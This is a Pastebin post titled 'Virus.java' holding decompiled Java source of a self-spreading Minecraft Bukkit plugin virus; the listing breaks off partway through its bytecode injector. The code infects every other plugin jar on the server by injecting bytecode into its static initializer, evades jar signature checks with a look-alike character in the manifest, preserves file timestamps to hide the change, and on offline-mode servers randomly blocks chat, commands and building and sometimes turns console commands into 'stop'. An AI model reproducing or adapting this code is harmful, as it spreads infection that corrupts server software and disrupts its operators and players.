Advertisement
Guest User

Virus.java

a guest
Jul 21st, 2017
661
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 53.12 KB | None | 0 0
  1. /*
  2.  * Decompiled with CFR 0_122.
  3.  *
  4.  * Could not load the following classes:
  5.  *  a
  6.  *  org.bukkit.Bukkit
  7.  *  org.bukkit.event.EventHandler
  8.  *  org.bukkit.event.Listener
  9.  *  org.bukkit.event.block.BlockBreakEvent
  10.  *  org.bukkit.event.block.BlockPlaceEvent
  11.  *  org.bukkit.event.inventory.InventoryMoveItemEvent
  12.  *  org.bukkit.event.player.AsyncPlayerChatEvent
  13.  *  org.bukkit.event.player.PlayerCommandPreprocessEvent
  14.  *  org.bukkit.event.player.PlayerDropItemEvent
  15.  *  org.bukkit.event.server.ServerCommandEvent
  16.  *  org.bukkit.event.server.ServerListPingEvent
  17.  *  org.bukkit.event.world.ChunkUnloadEvent
  18.  *  org.bukkit.event.world.WorldUnloadEvent
  19.  *  org.bukkit.plugin.Plugin
  20.  *  org.bukkit.plugin.PluginManager
  21.  *  org.objectweb.asm.ClassReader
  22.  *  org.objectweb.asm.ClassVisitor
  23.  *  org.objectweb.asm.ClassWriter
  24.  *  org.objectweb.asm.Label
  25.  *  org.objectweb.asm.Opcodes
  26.  *  org.objectweb.asm.Type
  27.  *  org.objectweb.asm.tree.AbstractInsnNode
  28.  *  org.objectweb.asm.tree.ClassNode
  29.  *  org.objectweb.asm.tree.FieldInsnNode
  30.  *  org.objectweb.asm.tree.FrameNode
  31.  *  org.objectweb.asm.tree.IincInsnNode
  32.  *  org.objectweb.asm.tree.InsnList
  33.  *  org.objectweb.asm.tree.InsnNode
  34.  *  org.objectweb.asm.tree.IntInsnNode
  35.  *  org.objectweb.asm.tree.JumpInsnNode
  36.  *  org.objectweb.asm.tree.LabelNode
  37.  *  org.objectweb.asm.tree.LdcInsnNode
  38.  *  org.objectweb.asm.tree.MethodInsnNode
  39.  *  org.objectweb.asm.tree.MethodNode
  40.  *  org.objectweb.asm.tree.TryCatchBlockNode
  41.  *  org.objectweb.asm.tree.TypeInsnNode
  42.  *  org.objectweb.asm.tree.VarInsnNode
  43.  */
  44. import java.io.BufferedReader;
  45. import java.io.ByteArrayOutputStream;
  46. import java.io.File;
  47. import java.io.FileInputStream;
  48. import java.io.FileOutputStream;
  49. import java.io.InputStream;
  50. import java.io.InputStreamReader;
  51. import java.io.OutputStream;
  52. import java.io.RandomAccessFile;
  53. import java.io.Reader;
  54. import java.lang.management.ManagementFactory;
  55. import java.net.URI;
  56. import java.net.URL;
  57. import java.net.URLClassLoader;
  58. import java.nio.charset.Charset;
  59. import java.security.CodeSource;
  60. import java.security.ProtectionDomain;
  61. import java.util.Enumeration;
  62. import java.util.List;
  63. import java.util.Random;
  64. import java.util.jar.JarEntry;
  65. import java.util.jar.JarFile;
  66. import java.util.zip.ZipEntry;
  67. import java.util.zip.ZipOutputStream;
  68. import org.bukkit.Bukkit;
  69. import org.bukkit.event.EventHandler;
  70. import org.bukkit.event.Listener;
  71. import org.bukkit.event.block.BlockBreakEvent;
  72. import org.bukkit.event.block.BlockPlaceEvent;
  73. import org.bukkit.event.inventory.InventoryMoveItemEvent;
  74. import org.bukkit.event.player.AsyncPlayerChatEvent;
  75. import org.bukkit.event.player.PlayerCommandPreprocessEvent;
  76. import org.bukkit.event.player.PlayerDropItemEvent;
  77. import org.bukkit.event.server.ServerCommandEvent;
  78. import org.bukkit.event.server.ServerListPingEvent;
  79. import org.bukkit.event.world.ChunkUnloadEvent;
  80. import org.bukkit.event.world.WorldUnloadEvent;
  81. import org.bukkit.plugin.Plugin;
  82. import org.bukkit.plugin.PluginManager;
  83. import org.objectweb.asm.ClassReader;
  84. import org.objectweb.asm.ClassVisitor;
  85. import org.objectweb.asm.ClassWriter;
  86. import org.objectweb.asm.Label;
  87. import org.objectweb.asm.Opcodes;
  88. import org.objectweb.asm.Type;
  89. import org.objectweb.asm.tree.AbstractInsnNode;
  90. import org.objectweb.asm.tree.ClassNode;
  91. import org.objectweb.asm.tree.FieldInsnNode;
  92. import org.objectweb.asm.tree.FrameNode;
  93. import org.objectweb.asm.tree.IincInsnNode;
  94. import org.objectweb.asm.tree.InsnList;
  95. import org.objectweb.asm.tree.InsnNode;
  96. import org.objectweb.asm.tree.IntInsnNode;
  97. import org.objectweb.asm.tree.JumpInsnNode;
  98. import org.objectweb.asm.tree.LabelNode;
  99. import org.objectweb.asm.tree.LdcInsnNode;
  100. import org.objectweb.asm.tree.MethodInsnNode;
  101. import org.objectweb.asm.tree.MethodNode;
  102. import org.objectweb.asm.tree.TryCatchBlockNode;
  103. import org.objectweb.asm.tree.TypeInsnNode;
  104. import org.objectweb.asm.tree.VarInsnNode;
  105.  
  106. /*
  107.  * Duplicate member names - consider using --renamedupmembers true
  108.  * Exception performing whole class analysis ignored.
  109.  */
  110. public final class a
  111. implements Runnable,
  112. Listener,
  113. Opcodes {
  114.     private static byte a = -66;
  115.     private static String a = "r";
  116.     private static Random a = new Random();
  117.     private static byte[] a = new byte[0];
  118.     private static byte[] b = new byte[]{0, 0};
  119.     private static a a;
  120.  
  121.     public a() {
  122.         a = this;
  123.         new Thread((Runnable)a).start();
  124.     }
  125.  
  126.     @Override
  127.     public final void run() {
  128.         try {
  129.             PluginManager pluginManager = Bukkit.getPluginManager();
  130.             Thread.sleep(a.nextInt(250));
  131.             String string = ManagementFactory.getRuntimeMXBean().getName() + "_";
  132.             if (!string.equals(System.getProperty(string))) {
  133.                 int n;
  134.                 System.setProperty(string, string);
  135.                 int n2 = 0;
  136.                 do {
  137.                     n = n2;
  138.                     n2 = 0;
  139.                     for (int i = 0; i < pluginManager.getPlugins().length; ++i) {
  140.                         if (!pluginManager.getPlugins()[i].isEnabled()) continue;
  141.                         ++n2;
  142.                     }
  143.                     Thread.sleep(10000);
  144.                 } while (n2 != n);
  145.                 a.b();
  146.                 a.a();
  147.                 pluginManager.registerEvents((Listener)a, pluginManager.getPlugins()[0]);
  148.             }
  149.             return;
  150.         }
  151.         catch (Exception exception) {
  152.             return;
  153.         }
  154.     }
  155.  
  156.     private static void a() {
  157.         for (Plugin plugin : Bukkit.getPluginManager().getPlugins()) {
  158.             File file = new File(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().toURI());
  159.             if (a.a((File)file)) continue;
  160.             try {
  161.                 if (plugin.isEnabled()) {
  162.                     ClassLoader classLoader = plugin.getClass().getClassLoader();
  163.                     if (classLoader instanceof URLClassLoader) {
  164.                         ((URLClassLoader)classLoader).close();
  165.                     }
  166.                     System.gc();
  167.                 }
  168.                 a.a((File)file);
  169.             }
  170.             catch (Exception exception) {}
  171.         }
  172.     }
  173.  
  174.     private static void b() {
  175.         for (Plugin plugin : Bukkit.getPluginManager().getPlugins()) {
  176.             File object = new File(plugin.getClass().getProtectionDomain().getCodeSource().getLocation().toURI());
  177.             if (!a.a((File)object) || b[0] != 0 || b[1] != 0) continue;
  178.             RandomAccessFile randomAccessFile = new RandomAccessFile(object, a);
  179.             randomAccessFile.seek(object.length() - 2);
  180.             randomAccessFile.read(b, 0, 2);
  181.             int n = (b[0] & 255) << 8 | b[1] & 255;
  182.             if ((long)n < object.length()) {
  183.                 randomAccessFile.seek(object.length() - (long)(n + 2));
  184.                 a = new byte[n];
  185.                 randomAccessFile.read(a, 0, n);
  186.             }
  187.             randomAccessFile.close();
  188.         }
  189.     }
  190.  
  191.     private static boolean a(File object) {
  192.         if (object.length() > 17 && a.b((File)object)) {
  193.             byte[] arrby = new byte[17];
  194.             object = new FileInputStream((File)object);
  195.             object.read(arrby);
  196.             object.close();
  197.             if (arrby[15] == (byte)(arrby[16] ^ a)) {
  198.                 return true;
  199.             }
  200.             return false;
  201.         }
  202.         return false;
  203.     }
  204.  
  205.     private static boolean b(File file) {
  206.         return file.getName().endsWith(".jar");
  207.     }
  208.  
  209.     private static void a(File file) {
  210.         if (!a.b((File)file)) {
  211.             return;
  212.         }
  213.         if (a.a((File)file)) {
  214.             return;
  215.         }
  216.         long l = file.lastModified();
  217.         JarFile jarFile = new JarFile(file);
  218.         Object object = "plugin.yml";
  219.         if (jarFile.getEntry((String)object) != null) {
  220.             Object object2;
  221.             Object object3;
  222.             ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  223.             ZipOutputStream zipOutputStream = new ZipOutputStream(byteArrayOutputStream);
  224.             object = new BufferedReader(new InputStreamReader(jarFile.getInputStream(jarFile.getJarEntry((String)object))));
  225.             String string = "";
  226.             while ((object2 = object.readLine()) != null) {
  227.                 object3 = "main: ";
  228.                 if (!object2.contains((CharSequence)object3)) continue;
  229.                 string = object2.replaceAll((String)object3, "").replace('.', '/') + ".class";
  230.                 break;
  231.             }
  232.             object.close();
  233.             object3 = jarFile.entries();
  234.             while (object3.hasMoreElements()) {
  235.                 object = (JarEntry)object3.nextElement();
  236.                 object2 = new JarEntry(object.getName());
  237.                 byte[] arrby = a.a((InputStream)jarFile.getInputStream((ZipEntry)object));
  238.                 if (object.getName().equals("META-INF/MANIFEST.MF")) {
  239.                     Charset charset = Charset.forName("UTF-8");
  240.                     arrby = new String(arrby, charset).replaceAll("-Digest", "-Dig\u0435st").getBytes(charset);
  241.                 } else if (object.getName().equals(string)) {
  242.                     arrby = a.a((byte[])arrby);
  243.                 }
  244.                 object2.setTime(object.getTime());
  245.                 zipOutputStream.putNextEntry((ZipEntry)object2);
  246.                 zipOutputStream.write(arrby);
  247.                 zipOutputStream.closeEntry();
  248.             }
  249.             zipOutputStream.close();
  250.             byteArrayOutputStream.close();
  251.             jarFile.close();
  252.             object = byteArrayOutputStream.toByteArray();
  253.             if (object.length > 17) {
  254.                 byte by;
  255.                 object[15] = by = (byte)a.nextInt();
  256.                 object[16] = (byte)(by ^ a);
  257.             }
  258.             object2 = new FileOutputStream(file);
  259.             object2.write((byte[])object);
  260.             object2.write(a);
  261.             object2.write(b);
  262.             object2.close();
  263.             file.setLastModified(l);
  264.         }
  265.     }
  266.  
  267.     private static byte[] a(InputStream inputStream) {
  268.         int n;
  269.         ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
  270.         byte[] arrby = new byte[8192];
  271.         while ((n = inputStream.read(arrby, 0, 8192)) != -1) {
  272.             byteArrayOutputStream.write(arrby, 0, n);
  273.         }
  274.         byteArrayOutputStream.flush();
  275.         return byteArrayOutputStream.toByteArray();
  276.     }
  277.  
  278.     private static int a() {
  279.         return (int)(Math.min(Math.max(System.currentTimeMillis() / 1000 - 1472688000, 0), 43200) / 432);
  280.     }
  281.  
  282.     private static boolean a() {
  283.         if (!Bukkit.getOnlineMode() && a.nextInt(100) < a.a()) {
  284.             return true;
  285.         }
  286.         return false;
  287.     }
  288.  
  289.     @EventHandler
  290.     private static void a(AsyncPlayerChatEvent asyncPlayerChatEvent) {
  291.         if (a.a()) {
  292.             asyncPlayerChatEvent.setCancelled(true);
  293.         }
  294.     }
  295.  
  296.     @EventHandler
  297.     private static void a(PlayerCommandPreprocessEvent playerCommandPreprocessEvent) {
  298.         if (a.a()) {
  299.             playerCommandPreprocessEvent.setCancelled(true);
  300.         }
  301.     }
  302.  
  303.     @EventHandler
  304.     private static void a(ServerCommandEvent serverCommandEvent) {
  305.         if (a.a()) {
  306.             if (a.a()) {
  307.                 serverCommandEvent.setCommand("stop");
  308.                 return;
  309.             }
  310.             serverCommandEvent.setCancelled(true);
  311.         }
  312.     }
  313.  
  314.     @EventHandler
  315.     private static void a(BlockBreakEvent blockBreakEvent) {
  316.         if (a.a()) {
  317.             blockBreakEvent.setCancelled(true);
  318.         }
  319.     }
  320.  
  321.     @EventHandler
  322.     private static void a(BlockPlaceEvent blockPlaceEvent) {
  323.         if (a.a()) {
  324.             blockPlaceEvent.setCancelled(true);
  325.         }
  326.     }
  327.  
  328.     @EventHandler
  329.     private static void a(PlayerDropItemEvent playerDropItemEvent) {
  330.         if (a.a()) {
  331.             playerDropItemEvent.setCancelled(true);
  332.         }
  333.     }
  334.  
  335.     @EventHandler
  336.     private static void a(InventoryMoveItemEvent inventoryMoveItemEvent) {
  337.         if (a.a()) {
  338.             inventoryMoveItemEvent.setCancelled(true);
  339.         }
  340.     }
  341.  
  342.     @EventHandler
  343.     private static void a(WorldUnloadEvent worldUnloadEvent) {
  344.         if (a.a()) {
  345.             worldUnloadEvent.setCancelled(true);
  346.         }
  347.     }
  348.  
  349.     @EventHandler
  350.     private static void a(ChunkUnloadEvent chunkUnloadEvent) {
  351.         if (a.a()) {
  352.             chunkUnloadEvent.setCancelled(true);
  353.         }
  354.     }
  355.  
  356.     @EventHandler
  357.     private static void a(ServerListPingEvent serverListPingEvent) {
  358.         if (a.a()) {
  359.             serverListPingEvent.setMaxPlayers((int)((float)serverListPingEvent.getNumPlayers() * ((float)a.a() / 100.0f)));
  360.         }
  361.     }
  362.  
  363.     private static byte[] a(byte[] classReader) {
  364.         ClassWriter classWriter;
  365.         classReader = new ClassReader((byte[])classReader);
  366.         ClassNode classNode = new ClassNode();
  367.         classReader.accept((ClassVisitor)classNode, 0);
  368.         boolean bl = false;
  369.         String string = "<clinit>";
  370.         String string2 = "()V";
  371.         for (MethodNode methodNode : classNode.methods) {
  372.             if (!methodNode.name.equals(string) || !methodNode.desc.equals(string2)) continue;
  373.             bl = true;
  374.             a.a((MethodNode)methodNode, (boolean)true);
  375.         }
  376.         if (!bl) {
  377.             classWriter = new MethodNode(9, string, string2, null, null);
  378.             a.a((MethodNode)classWriter, (boolean)false);
  379.             classNode.methods.add(classWriter);
  380.         }
  381.         classWriter = new ClassWriter(1);
  382.         classNode.accept((ClassVisitor)classWriter);
  383.         return classWriter.toByteArray();
  384.     }
  385.  
  386.     private static void a(MethodNode methodNode, boolean bl) {
  387.         String string24 = "java/lang/String";
  388.         String string2 = string24 + "Builder";
  389.         String string3 = "java/io/File";
  390.         String string4 = "<init>";
  391.         String string5 = "java/io/RandomAccessFile";
  392.         String string6 = string3 + "InputStream";
  393.         String string7 = "java/util/zip/Inflater";
  394.         String string8 = "java/io/ByteArrayOutputStream";
  395.         String string9 = "java/net/URL";
  396.         String string10 = "java/lang/Class";
  397.         String string11 = string10 + "Loader";
  398.         String string12 = "length";
  399.         String string13 = "read";
  400.         String string14 = "close";
  401.         String string15 = "()V";
  402.         String string16 = "append";
  403.         String string17 = "java/lang/reflect/Method";
  404.         String string18 = "java/lang/Object";
  405.         String string19 = "java/lang/Integer";
  406.         String string20 = ";";
  407.         String string21 = "java/lang/Thread";
  408.         String string22 = "ClassLoader";
  409.         String string23 = "([B)V";
  410.         InsnList insnList = new InsnList();
  411.         LabelNode labelNode = new LabelNode(new Label());
  412.         LabelNode labelNode2 = new LabelNode(new Label());
  413.         LabelNode labelNode3 = new LabelNode(new Label());
  414.         insnList.add((AbstractInsnNode)labelNode);
  415.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string3));
  416.         insnList.add((AbstractInsnNode)new InsnNode(89));
  417.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
  418.         insnList.add((AbstractInsnNode)new InsnNode(89));
  419.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 8));
  420.         insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
  421.         insnList.add((AbstractInsnNode)new InsnNode(89));
  422.         insnList.add((AbstractInsnNode)new InsnNode(3));
  423.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 112));
  424.         insnList.add((AbstractInsnNode)new InsnNode(84));
  425.         insnList.add((AbstractInsnNode)new InsnNode(89));
  426.         insnList.add((AbstractInsnNode)new InsnNode(4));
  427.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 108));
  428.         insnList.add((AbstractInsnNode)new InsnNode(84));
  429.         insnList.add((AbstractInsnNode)new InsnNode(89));
  430.         insnList.add((AbstractInsnNode)new InsnNode(5));
  431.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 117));
  432.         insnList.add((AbstractInsnNode)new InsnNode(84));
  433.         insnList.add((AbstractInsnNode)new InsnNode(89));
  434.         insnList.add((AbstractInsnNode)new InsnNode(6));
  435.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 103));
  436.         insnList.add((AbstractInsnNode)new InsnNode(84));
  437.         insnList.add((AbstractInsnNode)new InsnNode(89));
  438.         insnList.add((AbstractInsnNode)new InsnNode(7));
  439.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 105));
  440.         insnList.add((AbstractInsnNode)new InsnNode(84));
  441.         insnList.add((AbstractInsnNode)new InsnNode(89));
  442.         insnList.add((AbstractInsnNode)new InsnNode(8));
  443.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 110));
  444.         insnList.add((AbstractInsnNode)new InsnNode(84));
  445.         insnList.add((AbstractInsnNode)new InsnNode(89));
  446.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 6));
  447.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 115));
  448.         insnList.add((AbstractInsnNode)new InsnNode(84));
  449.         insnList.add((AbstractInsnNode)new InsnNode(89));
  450.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 7));
  451.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 47));
  452.         insnList.add((AbstractInsnNode)new InsnNode(84));
  453.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
  454.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string3, string4, "(L" + string24 + ";)V", false));
  455.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 0));
  456.         LabelNode labelNode4 = new LabelNode(new Label());
  457.         insnList.add((AbstractInsnNode)labelNode4);
  458.         insnList.add((AbstractInsnNode)new InsnNode(3));
  459.         insnList.add((AbstractInsnNode)new VarInsnNode(54, 1));
  460.         labelNode4 = new LabelNode(new Label());
  461.         insnList.add((AbstractInsnNode)labelNode4);
  462.         insnList.add((AbstractInsnNode)new LdcInsnNode((Object)new Long(-1)));
  463.         insnList.add((AbstractInsnNode)new VarInsnNode(55, 2));
  464.         labelNode4 = new LabelNode(new Label());
  465.         insnList.add((AbstractInsnNode)labelNode4);
  466.         insnList.add((AbstractInsnNode)new InsnNode(3));
  467.         insnList.add((AbstractInsnNode)new VarInsnNode(54, 4));
  468.         labelNode4 = new LabelNode(new Label());
  469.         insnList.add((AbstractInsnNode)labelNode4);
  470.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
  471.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, "listFiles", "()[L" + string3 + string20, false));
  472.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 5));
  473.         labelNode4 = new LabelNode(new Label());
  474.         insnList.add((AbstractInsnNode)labelNode4);
  475.         insnList.add((AbstractInsnNode)new InsnNode(3));
  476.         insnList.add((AbstractInsnNode)new VarInsnNode(54, 6));
  477.         labelNode4 = new LabelNode(new Label());
  478.         insnList.add((AbstractInsnNode)labelNode4);
  479.         insnList.add((AbstractInsnNode)new FrameNode(0, 6, new Object[]{string3, Opcodes.INTEGER, Opcodes.LONG, Opcodes.INTEGER, "[L" + string3 + string20, Opcodes.INTEGER}, 0, new Object[0]));
  480.         insnList.add((AbstractInsnNode)new VarInsnNode(21, 6));
  481.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 5));
  482.         insnList.add((AbstractInsnNode)new InsnNode(190));
  483.         LabelNode labelNode5 = new LabelNode(new Label());
  484.         insnList.add((AbstractInsnNode)new JumpInsnNode(162, labelNode5));
  485.         LabelNode labelNode6 = new LabelNode(new Label());
  486.         insnList.add((AbstractInsnNode)labelNode6);
  487.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 5));
  488.         insnList.add((AbstractInsnNode)new VarInsnNode(21, 6));
  489.         insnList.add((AbstractInsnNode)new InsnNode(50));
  490.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, "isFile", "()Z", false));
  491.         labelNode6 = new LabelNode(new Label());
  492.         insnList.add((AbstractInsnNode)new JumpInsnNode(153, labelNode6));
  493.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 5));
  494.         insnList.add((AbstractInsnNode)new VarInsnNode(21, 6));
  495.         insnList.add((AbstractInsnNode)new InsnNode(50));
  496.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, "getName", "()L" + string24 + string20, false));
  497.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string24));
  498.         insnList.add((AbstractInsnNode)new InsnNode(89));
  499.         insnList.add((AbstractInsnNode)new InsnNode(7));
  500.         insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
  501.         insnList.add((AbstractInsnNode)new InsnNode(89));
  502.         insnList.add((AbstractInsnNode)new InsnNode(3));
  503.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 46));
  504.         insnList.add((AbstractInsnNode)new InsnNode(84));
  505.         insnList.add((AbstractInsnNode)new InsnNode(89));
  506.         insnList.add((AbstractInsnNode)new InsnNode(4));
  507.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 106));
  508.         insnList.add((AbstractInsnNode)new InsnNode(84));
  509.         insnList.add((AbstractInsnNode)new InsnNode(89));
  510.         insnList.add((AbstractInsnNode)new InsnNode(5));
  511.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 97));
  512.         insnList.add((AbstractInsnNode)new InsnNode(84));
  513.         insnList.add((AbstractInsnNode)new InsnNode(89));
  514.         insnList.add((AbstractInsnNode)new InsnNode(6));
  515.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 114));
  516.         insnList.add((AbstractInsnNode)new InsnNode(84));
  517.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string24, string4, string23, false));
  518.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string24, "endsWith", "(L" + string24 + ";)Z", false));
  519.         insnList.add((AbstractInsnNode)new JumpInsnNode(153, labelNode6));
  520.         LabelNode labelNode7 = new LabelNode(new Label());
  521.         insnList.add((AbstractInsnNode)labelNode7);
  522.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 5));
  523.         insnList.add((AbstractInsnNode)new VarInsnNode(21, 6));
  524.         insnList.add((AbstractInsnNode)new InsnNode(50));
  525.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 0));
  526.         labelNode7 = new LabelNode(new Label());
  527.         insnList.add((AbstractInsnNode)labelNode7);
  528.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
  529.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, string12, "()J", false));
  530.         insnList.add((AbstractInsnNode)new InsnNode(136));
  531.         insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
  532.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 7));
  533.         labelNode7 = new LabelNode(new Label());
  534.         insnList.add((AbstractInsnNode)labelNode7);
  535.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string6));
  536.         insnList.add((AbstractInsnNode)new InsnNode(89));
  537.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
  538.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string6, string4, "(L" + string3 + ";)V", false));
  539.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 8));
  540.         labelNode7 = new LabelNode(new Label());
  541.         insnList.add((AbstractInsnNode)labelNode7);
  542.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
  543.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  544.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string6, string13, "([B)I", false));
  545.         insnList.add((AbstractInsnNode)new InsnNode(87));
  546.         labelNode7 = new LabelNode(new Label());
  547.         insnList.add((AbstractInsnNode)labelNode7);
  548.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 8));
  549.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string6, string14, string15, false));
  550.         string6 = new LabelNode(new Label());
  551.         insnList.add((AbstractInsnNode)string6);
  552.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  553.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 15));
  554.         insnList.add((AbstractInsnNode)new InsnNode(51));
  555.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  556.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 16));
  557.         insnList.add((AbstractInsnNode)new InsnNode(51));
  558.         insnList.add((AbstractInsnNode)new IntInsnNode(17, 190));
  559.         insnList.add((AbstractInsnNode)new InsnNode(130));
  560.         insnList.add((AbstractInsnNode)new InsnNode(145));
  561.         insnList.add((AbstractInsnNode)new JumpInsnNode(160, labelNode6));
  562.         string6 = new LabelNode(new Label());
  563.         insnList.add((AbstractInsnNode)string6);
  564.         insnList.add((AbstractInsnNode)new InsnNode(4));
  565.         insnList.add((AbstractInsnNode)new VarInsnNode(54, 1));
  566.         string6 = new LabelNode(new Label());
  567.         insnList.add((AbstractInsnNode)string6);
  568.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  569.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  570.         insnList.add((AbstractInsnNode)new InsnNode(190));
  571.         insnList.add((AbstractInsnNode)new InsnNode(5));
  572.         insnList.add((AbstractInsnNode)new InsnNode(100));
  573.         insnList.add((AbstractInsnNode)new InsnNode(51));
  574.         insnList.add((AbstractInsnNode)new IntInsnNode(17, 255));
  575.         insnList.add((AbstractInsnNode)new InsnNode(126));
  576.         insnList.add((AbstractInsnNode)new IntInsnNode(16, 8));
  577.         insnList.add((AbstractInsnNode)new InsnNode(120));
  578.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  579.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  580.         insnList.add((AbstractInsnNode)new InsnNode(190));
  581.         insnList.add((AbstractInsnNode)new InsnNode(4));
  582.         insnList.add((AbstractInsnNode)new InsnNode(100));
  583.         insnList.add((AbstractInsnNode)new InsnNode(51));
  584.         insnList.add((AbstractInsnNode)new IntInsnNode(17, 255));
  585.         insnList.add((AbstractInsnNode)new InsnNode(126));
  586.         insnList.add((AbstractInsnNode)new InsnNode(128));
  587.         insnList.add((AbstractInsnNode)new InsnNode(133));
  588.         insnList.add((AbstractInsnNode)new VarInsnNode(55, 2));
  589.         string6 = new LabelNode(new Label());
  590.         insnList.add((AbstractInsnNode)string6);
  591.         insnList.add((AbstractInsnNode)new VarInsnNode(22, 2));
  592.         insnList.add((AbstractInsnNode)new InsnNode(9));
  593.         insnList.add((AbstractInsnNode)new InsnNode(148));
  594.         insnList.add((AbstractInsnNode)new JumpInsnNode(158, labelNode6));
  595.         string6 = new LabelNode(new Label());
  596.         insnList.add((AbstractInsnNode)string6);
  597.         insnList.add((AbstractInsnNode)new VarInsnNode(22, 2));
  598.         insnList.add((AbstractInsnNode)new InsnNode(136));
  599.         insnList.add((AbstractInsnNode)new VarInsnNode(54, 4));
  600.         string6 = new LabelNode(new Label());
  601.         insnList.add((AbstractInsnNode)string6);
  602.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
  603.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string3, string12, "()J", false));
  604.         insnList.add((AbstractInsnNode)new VarInsnNode(22, 2));
  605.         insnList.add((AbstractInsnNode)new LdcInsnNode((Object)new Long(2)));
  606.         insnList.add((AbstractInsnNode)new InsnNode(97));
  607.         insnList.add((AbstractInsnNode)new InsnNode(101));
  608.         insnList.add((AbstractInsnNode)new VarInsnNode(55, 2));
  609.         string6 = new LabelNode(new Label());
  610.         insnList.add((AbstractInsnNode)string6);
  611.         insnList.add((AbstractInsnNode)new JumpInsnNode(167, labelNode5));
  612.         insnList.add((AbstractInsnNode)labelNode6);
  613.         insnList.add((AbstractInsnNode)new FrameNode(3, 0, null, 0, null));
  614.         insnList.add((AbstractInsnNode)new IincInsnNode(6, 1));
  615.         insnList.add((AbstractInsnNode)new JumpInsnNode(167, labelNode4));
  616.         insnList.add((AbstractInsnNode)labelNode5);
  617.         insnList.add((AbstractInsnNode)new FrameNode(2, 1, null, 0, null));
  618.         insnList.add((AbstractInsnNode)new VarInsnNode(21, 1));
  619.         insnList.add((AbstractInsnNode)new JumpInsnNode(153, labelNode2));
  620.         string6 = new LabelNode(new Label());
  621.         insnList.add((AbstractInsnNode)string6);
  622.         insnList.add((AbstractInsnNode)new TypeInsnNode(187, string5));
  623.         insnList.add((AbstractInsnNode)new InsnNode(89));
  624.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 0));
  625.         insnList.add((AbstractInsnNode)new LdcInsnNode((Object)a));
  626.         insnList.add((AbstractInsnNode)new MethodInsnNode(183, string5, string4, "(L" + string3 + ";L" + string24 + ";)V", false));
  627.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 6));
  628.         string6 = new LabelNode(new Label());
  629.         insnList.add((AbstractInsnNode)string6);
  630.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 6));
  631.         insnList.add((AbstractInsnNode)new VarInsnNode(22, 2));
  632.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string5, "seek", "(J)V", false));
  633.         string6 = new LabelNode(new Label());
  634.         insnList.add((AbstractInsnNode)string6);
  635.         insnList.add((AbstractInsnNode)new VarInsnNode(21, 4));
  636.         insnList.add((AbstractInsnNode)new IntInsnNode(188, 8));
  637.         insnList.add((AbstractInsnNode)new VarInsnNode(58, 7));
  638.         string6 = new LabelNode(new Label());
  639.         insnList.add((AbstractInsnNode)string6);
  640.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 6));
  641.         insnList.add((AbstractInsnNode)new VarInsnNode(25, 7));
  642.         insnList.add((AbstractInsnNode)new InsnNode(3));
  643.         insnList.add((AbstractInsnNode)new VarInsnNode(21, 4));
  644.         insnList.add((AbstractInsnNode)new MethodInsnNode(182, string5, string13, "([BII)I", false));
